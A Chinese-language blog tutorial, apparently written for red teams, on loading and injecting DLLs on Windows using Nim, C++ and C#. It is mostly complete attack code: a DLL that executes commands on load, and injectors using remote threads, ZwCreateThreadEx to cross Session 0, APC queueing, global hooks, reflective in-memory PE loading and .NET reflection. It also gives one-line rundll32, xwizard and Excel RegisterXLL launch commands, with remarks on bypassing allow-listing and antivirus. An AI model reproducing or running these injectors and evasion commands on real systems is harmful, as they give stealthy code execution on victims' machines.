这篇文章发表于 1422 天前,可能其部分内容已经发生变化,如有疑问可询问作者。
本文主要介绍一些基本的dll加载运行的方法,并以nim为主语言实现相关功能。
本文的编程语言主要使用windows上的nim(1.4),辅以C++和C#,另外主要的IDE就用vscode凑合了。这种语言非常强大(不吹不黑,请自行感受我给的以下这些例子),而且适合红队工具的开发。这篇文章如果直接看是非常容易失去耐心的,建议结合其他一些相关内容的文章慢慢来。我自己学习整理研究花了整整 六天的时间,同样快失去耐心了233。
相关代码已经放在了我的github仓库 里。如果您需要编些不友善的东西并且没有合适环境的话(windows一些时候报毒很心烦…),可以先看看docker环境该如何配置,然后在linux环境里进行跨平台编译再进行转移与测试。
使用nim语言生成dll 如果您有其他好方法,这部分可以直接跳过,但是了解下nim生成dll的代码还是挺有意思的。以下nim代码就是实现在windows上弹出一个小计算器的dll文件,命名为malicious.dll。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import winim/leanimport osprocproc NimMain () {.cdecl, importc.} proc DllMain (hinstDLL: HINSTANCE , fdwReason: DWORD , lpvReserved: LPVOID ) : BOOL {.stdcall, exportc, dynlib.} = NimMain () if fdwReason == DLL_PROCESS_ATTACH : let command = "/r" & " C:/windows/system32/calc.exe" discard execProcess("cmd" , args=[command], options={poUsePath}) return true
这里继续给个例子,也是弹个小计算器的代码,以下内容生成的dll文件命名为new_malicious.dll。由于它的入口点没有被指定,所以在编译的时候需要去掉参数--nomain
,也就使用了默认的入口点。而且它还必须指定对应的内部函数地址才能够被调用。
1 2 3 4 5 6 7 8 9 10 import osproc{.push dynlib exportc.} proc popCalc*(): void {.stdcall, exportc, dynlib.} = let command = "/r" & " C:/windows/system32/calc.exe" discard execProcess("cmd" , args=[command], options={poUsePath}) {.pop.}
之后的内容主要就是要加载这两个dll文件其中之一,使之弹出计算器。这两个dll文件命名有区别,请注意辨别。
dll加载运行的各种姿势 这里主要介绍dll文件落地加载的一些方法,仅仅是冰山一角。后面提及的内存反射加载难度较大,可以先看.NET的反射攻击以促进理解。
一句话直接被调用运行 对于以上通过nim生成的dll文件以及利用cobaltstrike等工具直接生成的恶意dll文件,如何运行一条命令实现攻击?
1、C:/Windows/System32/rundll32.exe
可以直接在受害者电脑上使用rundll32.exe malicious.dll Start
命令完成攻击。
检测rundll32.exe是否被注入可以使用此命令:wmic process where caption="rundll32.exe" get caption,commandline /value
;若dll注入到其他进程,可使用tasklist /m malicious.dll
来查看(若注入到系统进程中,结束它可能导致不稳定情况出现)。
2、C:/Windows/System/xwizard.exe
将xwizard.exe复制到和malicious.dll同级的文件夹中,然后将malicious.dll更名为xwizards.dll,之后只需执行xwizard processXMLFile 1.txt
或者xwizard RunWizard /u {11111111-1111-1111-1111-111111111111}
或者xwizard RunPropertySheet /u {11111111-1111-1111-1111-111111111111}
这三类命令即可运行。
由于xwizards.dll包含了微软的签名,从一定程度上能够绕过应用程序白名单的拦截。
3、Excel.Application object’s RegisterXLL()
这里的原理都是通过调用Office中软件中的RegisterXLL函数实现的,但是操作方式略有不同。部分方法容易被杀软拦截。
方法一:rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:/Users/user/Desktop/malicious.dll');this.close();
方法二:将以下代码保存为malicious.js后,运行cscript malicious.js
。
1 2 var excel = new ActiveXObject("Excel.Application" );excel.RegisterXLL("C:/Users/user/Desktop/malicious.dll" )
方法三:运行以下powershell代码。
1 $excel = [activator ]::CreateInstance([type ]::GetTypeFromProgID("Excel.Application" ));$excel .RegisterXLL("C:/Users/user/Desktop/malicious.dll" )
具体的操作其作者3gstudent写了很多内容,这部分可以结合钓鱼攻击完成。
利用程序直接调用执行 没错,通过程序直接调用。。。以下是直接调用该dll文件的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import dynlibtype PopCalc = proc (): void {.nimcall.} proc execDll(path:string ) = echo "[*] Start executing the function in dll ... " let lib = loadLib(path) if lib != nil : var pAddr = lib.symAddr("popCalc" ) if pAddr != nil : var popCalc = cast [PopCalc ](pAddr) popCalc() echo "[+] Succeeded" unloadLib(lib) when isMainModule: execDll("C:/users/user/desktop/new_malicious.dll" )
如果你想用C#来对new_malicious.dll进行调用的话,建议参考这篇文章 ,这里不再赘述。
注入到另一个进程中 一般来讲,dll注入是向一个正在运行的进程插入/注入dll中相关代码的过程。这部分内容比较多,根据网上整理的内容,我这里分为远程线程注入 、APC注入 、劫持进程创建注入 、消息钩子注入 。
1、远程线程注入
通过开启远程线程的方式,将dll加载到目标宿主进程中的常用方式。一般来说能够用来修复程序BUG,也可以用来加载恶意dll文件。
该方法的原理主要是使其他进程LoadLibrary
函数地址暴露,能够调用指定路径的dll文件,将LoadLibrary
函数地址和dll路径字符串作为CreateRemoteThread
的参数,创建一个多线程,随后在LoadLibrary()
结束后进入到dll文件中的DLLMain()函数并执行相关代码。
一般分为四步注入dll文件:调用VirtualAllocEx
函数在目标进程空间中申请一块内存;再调用WriteProcessMemory
函数将dll的绝对路径写到刚申请的内存中;找到Kernel32下的加载基地址(部分系统dll在开机后的加载基地址在所有进程中都不变,比如kernel32.dll);根据找到的相关地址作为参数,使用CreateRemoteThread
函数创建一个在其它进程地址空间中运行的线程。
以notepad.exe为例,具体代码实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 import winim/lean import osprocproc injectCreateRemoteThread(dllPath: string ): void = let dwSize = cast [SIZE_T ](dllPath.len) let newProcess = startProcess("notepad.exe" ); defer: newProcess.close() echo "[*] Injecting: " , dllPath echo "[*] Target Process: " , newProcess.processID Sleep (500 ) let pHandle = OpenProcess ( PROCESS_ALL_ACCESS , false , cast [DWORD ](newProcess.processID) ) defer: CloseHandle (pHandle) echo "[*] pHandle: " , pHandle let pDllAddr = VirtualAllocEx ( pHandle, NULL , dwSize, MEM_COMMIT , PAGE_EXECUTE_READ_WRITE ) var bytesWritten: SIZE_T let wSuccess = WriteProcessMemory ( pHandle, pDllAddr, dllPath.cstring , dwSize, addr bytesWritten ) echo "[*] WriteProcessMemory: " , bool (wSuccess) echo " \\-- bytes written: " , bytesWritten echo "" let pFuncProcAddr = LoadLibraryA echo "[*] Find kernel32 addr: " , if NULL == pFuncProcAddr: false else : true echo "" let tHandle = CreateRemoteThread ( pHandle, NULL , 0 , cast [LPTHREAD_START_ROUTINE ](pFuncProcAddr), pDllAddr, 0 , NULL ) defer: CloseHandle (tHandle) echo "[*] tHandle: " , tHandle echo "[+] Injected" when isMainModule: var file = "C:/users/user/desktop/malicious.dll" injectCreateRemoteThread(file)
nim脚本相对于那些cpp文件来说是不是在思路呈现上更加漂亮?更有趣的还在后面。
另外,在注入过程中可能会遇到失败的情况,可能是权限不足的问题,也可能是以上脚本并不能够突破SESSION 0
隔离的限制,也就是说我们没法用它注入到系统进程中去,相对来说不够隐蔽。但想要突破SESSION 0
隔离只需要将CreateThreadEx
函数替换为ZwCreateThreadEx
函数即可,原理和以上脚本基本一致,但是代码上需要用到其他的trick。
ZwCreateThreadEx
函数位于ntdll.dll中,但在ntdll.dll中并没有申明(其实这是Windows的Native API,由于每个版本的windows中的Native API很可能会有较大的差异,不便于开发,因此微软并没有将其公开,一般需要逆向才能够了解这种函数调用),所以需要通过使用GetProcAddress
从ntdll.dll中获取该函数的导出地址。使用ZwCreateThreadEx
具体的方法如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 import winim/lean import osprocimport ./zwcreatethreadex_cpplikeproc myFunc(procHandle: HANDLE , covPFuncProcAddr: LPTHREAD_START_ROUTINE , pDllAddr: LPVOID ) {.header: "ZwCreateThread.h", importcpp: "$1(@)".} proc injectCreateRemoteThread(dllPath: string ): void = let dwSize = cast [SIZE_T ](dllPath.len) let newProcess = startProcess("notepad.exe" ); defer: newProcess.close() echo "[*] Injecting: " , dllPath echo "[*] Target Process: " , newProcess.processID Sleep (500 ) let procHandle = OpenProcess ( PROCESS_ALL_ACCESS , false , cast [DWORD ](newProcess.processID) ) defer: CloseHandle (procHandle) echo "[*] pHandle: " , procHandle let pDllAddr = VirtualAllocEx ( procHandle, NULL , dwSize, MEM_COMMIT , PAGE_EXECUTE_READ_WRITE ) var bytesWritten: SIZE_T let wSuccess = WriteProcessMemory ( procHandle, pDllAddr, dllPath.cstring , dwSize, addr bytesWritten ) echo "[*] WriteProcessMemory: " , bool (wSuccess) echo " \\-- bytes written: " , bytesWritten echo "" let pFuncProcAddr = LoadLibraryA echo "[*] Find kernel32 addr: " , if NULL == pFuncProcAddr: false else : true echo "" echo "[*] Try ZwCreateThreadEx ... " myFunc(procHandle, cast [LPTHREAD_START_ROUTINE ](pFuncProcAddr), pDllAddr) echo "[+] Injected" when isMainModule: var file = "C:/users/user/desktop/malicious.dll" injectCreateRemoteThread(file) void myFunc(HANDLE , LPTHREAD_START_ROUTINE , LPVOID );{.emit:""" #include <Windows.h> #include <stdio.h> #ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown); #else typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown); #endif // myFunc实质上就是找到并调用ZwCreateThreadEx函数 void myFunc(HANDLE PHandle, LPTHREAD_START_ROUTINE covPFuncProcAddr, LPVOID pDllAddr){ HANDLE hNtModule = GetModuleHandleA("ntdll.dll"); PHANDLE hRemoteThread; typedef_ZwCreateThreadEx ZwCreateThreadEx = GetProcAddress(hNtModule, "ZwCreateThreadEx"); ZwCreateThreadEx(hRemoteThread, PROCESS_ALL_ACCESS, NULL, PHandle, covPFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL); } """.}
请将以上三段代码置于同一目录下,然后nim cpp -r proc_inj_session0.nim
即可,这里最好是针对svchost.exe等系统服务进程进行测试,但可能会因为会话隔离无法显示窗体。这里的nim代码还调用了c++,轻轻松松完成了nim直接难以完成的任务——非常优雅的技巧。
2、APC注入
APC(Asynchronous Procedure Call)是异步过程调用,只函数再特定线程中被异步执行。在windows中,APC是一种并发机制,用于异步IO或者定时器,分为用户模式APC和内核模式APC(一个线程附带两个APC队列。这里谈论的就是用户模式下的注入。
APC函数一般不会去干扰(中断)线程的运行,只有当线程处于“可警告的线程等待状态”才会去调用(线程调用SleepEx
、SignalObjectAndWait
、WaitForSingleObjectEx
、WaitForMultipleObjectsEx
、MsgWaitForMultipleObjectsEx
这些函数都可以使自身处于“可警告的线程等待状态”),调用的顺序为先入先出(FIFO)。
QueueUserAPC
函数中的第一个参数LoadLibrary
是APC函数的执行函数,APC函数一旦执行,就跳转到LoadLibrary
函数地址开始执行;第二个参数hThread
线程句柄,表示在这个线程中插入APC;第三个DllBaseAddress
,是传递给执行函数的参数,即LoadLibrary(DllBaseAddress)
,就加载了dll文件。为了确保插入的APC能够被执行,最好向目标进程中所有线程都插入相同的APC来实现dll的加载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 import winim/lean import osprocimport ./findallthreads_cpplikevar threadsArray {.noInit.} : seq [DWORD ]const MEM_RESERVE = 0x2000 MEM_COMMIT = 0x1000 proc findAllThreads(PID : DWORD , size: BOOL ): DWORD {.header: "findallthreads.h", importcpp: "$1(@)".} proc GetAllThreadsAsArray (PID : DWORD ): void = let ThreadsNum = findAllThreads(PID , false ) echo "[*] This process has associate with " , cast [int ](ThreadsNum ), " threads. " for i in 1 ..cast [int ](ThreadsNum ): threadsArray.add(findAllThreads(PID , true )) proc injectAPC(dllPath: string ): void = let newProcess = startProcess("notepad.exe" ); defer: newProcess.close() echo "[*] Injecting: " , dllPath echo "[*] Target Process: " , newProcess.processID Sleep (500 ) GetAllThreadsAsArray (cast [DWORD ](newProcess.processID)) echo "" let procHandle = OpenProcess ( PROCESS_ALL_ACCESS , false , cast [DWORD ](newProcess.processID) ) defer: CloseHandle (procHandle) echo "[*] pHandle: " , procHandle let dwSize = cast [SIZE_T ](dllPath.len) let pDllAddr = VirtualAllocEx ( procHandle, NULL , dwSize, MEM_COMMIT or MEM_RESERVE , PAGE_EXECUTE_READ_WRITE ) var bytesWritten: SIZE_T let wSuccess = WriteProcessMemory ( procHandle, pDllAddr, dllPath.cstring , dwSize, addr bytesWritten ) echo "[*] WriteProcessMemory: " , bool (wSuccess) echo " \\-- bytes written: " , bytesWritten echo "" let pFuncProcAddr = LoadLibraryA echo "[*] Find kernel32 addr: " , if NULL == pFuncProcAddr: false else : true echo "" echo "[*] Now insert APC object for every thread ... " var hThread: HANDLE for i in threadsArray: hThread = ERROR_INVALID_HANDLE hThread = OpenThread ( THREAD_ALL_ACCESS , false , cast [DWORD ](i) ) if (hThread != ERROR_INVALID_HANDLE ): echo "[*] Thread handle: " , i QueueUserAPC (cast [PAPCFUNC ](pFuncProcAddr), hThread, cast [ULONG_PTR ](pDllAddr)) CloseHandle (hThread) echo "[+] APC injection finished! " when isMainModule: var file = "C:/users/user/desktop/malicious.dll" injectAPC(file) //std::vector<DWORD > findAllThreads(DWORD ); DWORD findAllThreads(DWORD , BOOL );{.emit: """ #include <stdio.h> #include <windows.h> #include <tlhelp32.h> #include <vector> //#include <tchar.h> using namespace std; vector<DWORD>Array; int i = 0; int findAllThreads(DWORD dwProcessId, BOOL size) { DWORD dwBufferLength = 1000; THREADENTRY32 te32 = { 0 }; HANDLE hSnapshot = NULL; BOOL bRet = TRUE; if (size) return Array[i++]; // 获取线程快照 ::RtlZeroMemory(&te32, sizeof(te32)); te32.dwSize = sizeof(te32); hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); // 获取第一条线程快照信息 bRet = ::Thread32First(hSnapshot, &te32); while (bRet){ // 获取进程对应的线程ID if (te32.th32OwnerProcessID == dwProcessId){ //_tprintf( TEXT("\n THREAD ID = 0x%08X"), te32.th32ThreadID ); Array.push_back(te32.th32ThreadID); } // 遍历下一个线程快照信息 bRet = ::Thread32Next(hSnapshot, &te32); } return Array.size(); } """.}
同样使用了一些trick,但是这个代码我非常不满意(nim和C++联动的时候貌似无法直接传std::vector
这样的,一些地方改了还容易造成Out Of Memory
错误),最后想出来的办法只能非常幼稚地挨个传参,我tcl。
3、SetWindowsHookEx全局钩子注入
主要利用了创建全局钩子的时候,钩子函数必须在一个dll文件上的特点(因为dll能够比较容易地加载到发生事件的进程地址空间中,正如上面所提及的)。操作步骤也非常简单,只需要调用SetWindowsHookEx
函数即可,但要注意其中的参数类型,最后结束记得对钩子句柄使用UnhookWindowsHookEx
以卸载钩子即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import winim/leanproc HookCallback (nCode: int32 , wParam: WPARAM , lParam: LPARAM ): LRESULT {.stdcall.} = return CallNextHookEx (0 , nCode, wParam, lParam) proc setWindowsHookExInj(dllPath: string ): void = echo "[*] Injecting: " , dllPath let myDll = LoadLibraryA (dllPath) var hookHandle = SetWindowsHookEx (WH_KEYBOARD_LL , (HOOKPROC )HookCallback , myDll, 0 ) echo "[+] Successfully inject in the process! " Sleep (4000 ) UnhookWindowsHookEx (hookHandle) when isMainModule: var file = "C:/users/user/desktop/malicious.dll" setWindowsHookExInj(file)
这个用在dll注入上面实在是杀鸡用牛刀,这里有个项目 是利用SetWindowsHookEx
函数键盘记录的,效果极佳。
内存反射注入 这个技术 非常古老,但在目前已经是C2的标配技术了,可见其威力之大。
在描述具体原理前,先问个问题:是什么使得Reflective DLL Injection
与众不同?
某回答 (的中文翻译):之前的dll注入程序和dll文件是通过磁盘上的完整路径获得的,因而它不被认为是非常隐秘的方法,并且还具有外部依赖性(如果将其分开,则可能带来问题)。但这些问题可以通过使用Reflective DLL Injection
来解决,它允许以原始数据的形式获取dll。为了能够将数据注入目标进程,我们必须像以前从Windows调用LoadLibrary
函数时一样,手动解析二进制文件并将其映射到虚拟内存中——其效果就是让dll文件以更加隐蔽的方式被执行。
下面先说明程序实现的比较具体的操作流程(这篇文章 和这篇文章 都是非常好的资料):
1、打开指定的dll文件,读取dll文件的字节内容并检查DOS和PE头。
2、在目标文件的PEHeader.OptionalHeader.ImageBase
中指定的地址处分配PEHeader.OptionalHeader.SizeOfImage
指定的字节。
3、解析节标题,然后根据IMAGE_SECTION_HEADER
结构的VirtualAddress
将每个节复制到步骤2中分配的内存块里。
4、实现映像重定位(首先找到重定位表的指针,它一般在.reloc
节里面;在每个重定位块中获取所需重定位的数量;读取指定重定位地址中的字节;将增量,也就是原地址与目标ImageBase
地址间的差距,应用于重定位地址中指定的值;将新值写入指定的重定位地址;重复以上操作,直到遍历整个重定位表)。
5、通过(IAT,导入地址表,一般能够查找到运行时调用的函数名称及其内存地址)加载相应的库来解决其他dll库的必需导入——需要将dll的所有从属库加载到当前进程中,并修复IAT以确保dll导入的函数指向当前进程内存空间中的正确函数地址(解析DLL标头和获取指向第一个导入描述符的指针;从描述符中获得指向导入的库名称的指针;然后使用LoadLibrary
将库加载到当前进程中;重复此过程,直到遍历了所有导入描述文件并加载了所有依赖的dll库)。
6、使用标志DLL_PROCESS_ATTACH
调用dll入口点(AddressOfEntryPoint
)。
7、调用驻留在内存中的dll文件中的函数。
个人理解就是把真正的dll导入的过程重新模拟一遍(个人感觉其模拟出来的效果和C#里面的LoadFrom函数效果很相似),最后随手一调即可。
由于nim对内存分配这块能力比较弱(应该是我还不会用nim里面的一些tricks),这里只能非常遗憾地呈现下参考文章里的C++版本的demo程序(程序已做部分修改。其实有C++版本就能按照之前的方法移植个nim的版本,但多此一举,就不献丑了):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 #include <Windows.h> #include <stdio.h> typedef struct BASE_RELOCATION_BLOCK { DWORD PageAddress; DWORD BlockSize; } BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK; typedef struct BASE_RELOCATION_ENTRY { USHORT Offset : 12 ; USHORT Type : 4 ; } BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; using DLLEntry = BOOL (WINAPI*)(HINSTANCE dll, DWORD reason, LPVOID reserved);int main () { HANDLE hdll = CreateFileA ("C:/users/user/desktop/malicious.dll" , GENERIC_READ, NULL , NULL , OPEN_EXISTING, NULL , NULL ); DWORD64 dllSize = GetFileSize (hdll, NULL ); LPVOID dllBytes = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, dllSize); ReadFile (hdll, dllBytes, dllSize, NULL , NULL ); PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes; PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes + dosHeaders->e_lfanew); SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage; LPVOID dllBase = VirtualAlloc ((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory (GetCurrentProcess (), dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders, NULL ); PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION (ntHeaders); for (size_t i = 0 ; i < ntHeaders->FileHeader.NumberOfSections; i++) { LPVOID sectionDestination = (LPVOID)((DWORD_PTR)section->VirtualAddress + (DWORD_PTR)dllBase); LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData); WriteProcessMemory (GetCurrentProcess (), sectionDestination, sectionBytes, section->SizeOfRawData, NULL ); section++; } IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase; DWORD relocationsProcessed = 0 ; DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase; while (relocationsProcessed < relocations.Size) { PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed); relocationsProcessed += sizeof (BASE_RELOCATION_BLOCK); DWORD relocationsCount = (relocationBlock->BlockSize - sizeof (BASE_RELOCATION_BLOCK)) / sizeof (BASE_RELOCATION_ENTRY); PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed); for (DWORD i = 0 ; i < relocationsCount; i++) { relocationsProcessed += sizeof (BASE_RELOCATION_ENTRY); if (relocationEntries[i].Type == 0 ) { continue ; } DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset; DWORD_PTR addressToPatch = 0 ; ReadProcessMemory (GetCurrentProcess (), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof (DWORD_PTR), NULL ); addressToPatch += deltaImageBase; WriteProcessMemory (GetCurrentProcess (), (PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof (DWORD_PTR), NULL ); } } IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase); LPCSTR libraryName = "" ; HMODULE library = NULL ; while (importDescriptor->Name != NULL ) { libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase; library = LoadLibraryA (libraryName); if (library) { PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)(importDescriptor->FirstThunk + (DWORD_PTR)dllBase); while (thunk->u1.AddressOfData != NULL ) { if (IMAGE_SNAP_BY_ORDINAL (thunk->u1.Ordinal)) { LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL (thunk->u1.Ordinal); thunk->u1.Function = (DWORD_PTR)GetProcAddress (library, functionOrdinal); } else { PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)(thunk->u1.AddressOfData + (DWORD_PTR)dllBase); DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress (library, (LPCSTR)functionName->Name); thunk->u1.Function = functionAddress; } ++thunk; } } importDescriptor++; } DLLEntry DllEntry = (DLLEntry)(ntHeaders->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)dllBase); (*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0 ); CloseHandle (hdll); HeapFree (GetProcessHeap (), 0 , dllBytes); return 0 ; }
如果您对以上内容还是不满意(没错我不满意(*  ̄︿ ̄) ,这里提供一个网站 以便进一步研究。如果想真正应用于实战中,请可以参考下这个方案 。
execute-assembly执行 execute-assembly是用于内存执行C#可执行文件的常用手法,该方法需要用到.NET反射库(也就是System.Reflection
命名空间,这里的反射和上面提到的反射在意义上个人认为是存在差异的)。以下利用的主要原理是:创建一个正常的进程;通过dll反射向进程注入dll文件;dll实现弹出计算器。如果dll是执行shellcode,那么shellcode中的函数内容就会在内存中被执行,比较隐蔽。但整个利用过程必须要用到dll注入,而且一般会用到mscoree.dll文件——这是一个特征。
0、准备.NET情况下的dll文件
这里主要用到的是.NET中的反射加载dll文件的方法,因此之前用nim编写的dll文件在这里并不适用。
于是这里利用了别人的C#程序 来编全新的dll文件,也是用于弹出计算器的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 using System; public class Program { public static void Main() { Console.WriteLine("Hey There From Main()"); //Add any behaviour here to throw off sandbox execution/analysts :) } } public class aaa { public static void bbb() { System.Diagnostics.Process p = new System.Diagnostics.Process(); p.StartInfo.FileName = "C:\\windows\\system32\\calc.exe"; p.Start(); } } // C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe -target:library -out:NET.dll NET.cs // C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe -target:library -out:NET.dll NET.cs
请注意:最后两条指令选取了.NET2.0和.NET4.0的情况,两种情况编译出来的dll文件可能会对后面的操作有一定的影响。
1、PowerShell脚本一句话加载
经过简单测试,以下三条示例命令都能够成功弹出计算器。而且在.NET2.0和.NET4.0版本编译而得来的dll文件均可行。
1 2 3 $bytes = [System.IO.File ]::ReadAllBytes("C:/users/user/desktop/NET.dll" );[Reflection.Assembly ]::Load($bytes );[aaa ]::bbb();[Reflection.Assembly ]::LoadFile("C:/users/user/desktop/NET.dll" );[aaa ]::bbb(); [Reflection.Assembly ]::LoadFrom("C:/users/user/desktop/NET.dll" );[aaa ]::bbb();
以上powershell内容均可被转化为C#程序来进行操作。
2、nim版本的加载
本质上其最终得到的程序应该和后文中C#编译出来程序的差不多,但nim的具体细节我也不清楚——应该还是有点不一样吧,但nim直接写更加言简意赅。对下面程序如有疑问,建议查看winim/clr手册 。
1 2 3 4 5 6 7 8 9 10 11 12 import winim/clrproc dllReflect(dllPath: string ): void = echo "[*] Start reflecting... " let dll = load(dllPath) var popCalc = dll.GetType ("aaa" ) @popCalc.invoke("bbb" , BindingFlags_InvokeMethod or BindingFlags_Default ) echo "[+] Succeeded" when isMainModule: dllReflect("C:/users/user/desktop/NET.dll" )
当然,以上加载方法也可以用来加载shellcode 。
3、C#编写程序加载
用C#程序编写相关的加载器比较简单。花样很多,我就呈现一个和上面内容看起来差不多的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 using System; using System.Reflection; public class TestClass { public static void Main(string[] args) { string dllPath = "C:/users/user/desktop/NET.dll"; Assembly asm = Assembly.LoadFile(dllPath); //Console.WriteLine(asm.CodeBase); Type t = asm.GetType("aaa"); object instance = Activator.CreateInstance(t); //MethodInfo method = t.GetMethod("bbb"); // 注释的两条和下面的那条未注释的等价 //object result = method.Invoke(instance, null); object result = instance.GetType().GetMethod("bbb").Invoke(instance, null); } } // C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe -out:NET_REFLECT.exe call_dll.cs // C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe -out:NET_REFLECT.exe call_dll.cs
经过测试,只有当dll是.NET4.0编译且加载器NET_REFLECT.exe是由.NET2.0编译这样的情况会失败,其他3种情形均可正常加载并运行。另外,你可能会注意到网上很多人写的代码看似差别很大,比如这位老哥的C++版本 ,但实质上都是通过当前进程com接口初始化(公共语言运行时)CLR环境然后(从磁盘或者内存中)反射执行.NET assembly。
4、用C#移植的nim脚本来加载
根据之前的C#内容,这里展现下如何将其直接移植到nim脚本中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import winim/clrconst code = """ using System; using System.Reflection; public class TestClass { public static void myFunc(string dllPath) { Assembly asm = Assembly.LoadFile(dllPath); Type t = asm.GetType("aaa"); MethodInfo method = t.GetMethod("bbb"); object instance = Activator.CreateInstance(t); object result = method.Invoke(instance, null); } } """ proc csembed_reflection(dllPath: string ): void = echo "[*] Compiling the C# code " var res = compile(code) if res.Errors .Count != 0 : for error in res.Errors : echo error echo "[*] Invoking a static method." var TestClass = res.CompiledAssembly .new("TestClass" ) TestClass .myFunc(dllPath) echo "[+] Succeeded" when isMainModule: let dllPath = "C:/users/user/desktop/NET.dll" csembed_reflection(dllPath)
可以看到nim的恐怖实力,随便拿个C++和C#就能够轻松调。
nim的Dockerfile 它的Dockerfile
非常简单,但因为众所周知的原因,这里需要设一下自己的代理。还有就是为了方便取用编译好的程序,增添了一个非root用户用于编译。
